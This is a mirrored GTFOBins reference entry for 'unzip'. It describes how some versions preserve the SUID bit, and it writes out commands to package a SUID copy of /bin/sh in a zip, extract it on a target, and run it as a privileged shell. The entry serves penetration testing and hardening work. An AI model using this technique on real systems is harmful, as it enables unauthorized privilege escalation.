mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-03 18:28:43 +01:00 
			
		
		
		
	
		
			
				
	
	
	
		
			460 B
		
	
	
	
	
	
	
	
			
		
		
	
	
			460 B
		
	
	
	
	
	
	
	
description, functions
| description | functions | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Certain `unzip` versions allows to preserve the SUID bit. Prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh zip shell.zip sh ``` Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate). | 
  |